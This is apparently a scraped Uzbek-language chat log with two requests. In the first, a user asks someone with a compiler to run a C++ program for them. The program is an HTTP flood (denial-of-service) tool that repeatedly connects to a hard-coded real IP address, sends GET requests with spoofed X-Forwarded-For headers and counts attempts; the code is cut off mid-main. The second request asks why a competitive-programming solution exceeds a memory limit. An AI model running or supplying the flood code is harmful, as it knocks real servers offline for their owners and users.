kimdadir C++ compiler bomi
bosa mashi kodni run qib berila , ozimda C++ ide yogidi
#include <iostream>
#include <thread>
#include <vector>
#include <atomic>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <chrono>
#include <random>
#include <cstring>
std::atomic<int> trys(0);
std::string target = "31.184.242.14";
int port = 80;
std::string generate_fake_ip() {
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<> dis(1, 254);
return std::to_string(dis(gen)) + "." + std::to_string(dis(gen)) + "." + std::to_string(dis(gen)) + "." + std::to_string(dis(gen));
}
void attack() {
while (true) {
try {
int sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock == -1) {
throw std::runtime_error("Failed to create socket");
}
sockaddr_in server_addr;
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
inet_pton(AF_INET, target.c_str(), &server_addr.sin_addr);
if (connect(sock, (sockaddr*)&server_addr, sizeof(server_addr)) == -1) {
close(sock);
throw std::runtime_error("Connection failed: " + std::string(strerror(errno)));
}
std::string request = "GET / HTTP/1.1\r\nHost: " + target + "\r\nX-Forwarded-For: " + generate_fake_ip() + "\r\n\r\n";
send(sock, request.c_str(), request.length(), 0);
close(sock);
++trys;
if (trys % 100 == 0) {
std::cout << "Attempts: " << trys << std::endl;
}
} catch (const std::exception &e) {
std::cerr << "Error: " << e.what() << std::endl;
}
}
}
int main(int argc, char *argv[]) {
if (argc != 4) {
std::cerr << "Usage: " << argv[0] << " <target_ip> <port> <number_of_threads>" << std::endl;
return 1;
}
target = argv[1];
port = std::stoi(argv[2]);
in
15 July 2024
. #
Z # Z # Z Z # Z # Z
# Z 4 #
File
image_2024-07-15_22-59-00.png · 8 KB · click to show
image_2024-07-15_22-59-00.png · 8 KB · click to show
nimaga bu memory limit olyapti?
#include <iostream>
#include <vector>
#include <string>
#include <bitset>
#include <algorithm>
std::string binstr(int num) {
std::string bin = std::bitset<32>(num).to_string();
const auto pos = bin.find_first_not_of('0');
if (pos != std::string::npos) {
return bin.substr(pos);
}
return "0";
}
int foo(int a, int b) {
std::vector<std::string> x;
std::string y = "";
int d = 0;
for (int i = a; i <= b; ++i) {
std::string s = binstr(i);
x.push_back(s);
y += s;
int ones = std::count(y.begin(), y.end(), '1');
int zeros = y.size() - ones;
if (y.size() % 2 == 0 && ones == zeros) {
d += 1;
} else {
y = "";
}
}
return d;
}
int main() {
int a, b;
std::cin >> a >> b;
std::cout << foo(a, b) << std::endl;
return 0;
}
https://robocontest.uz/tasks/1211
# # J J # J # J
#
Z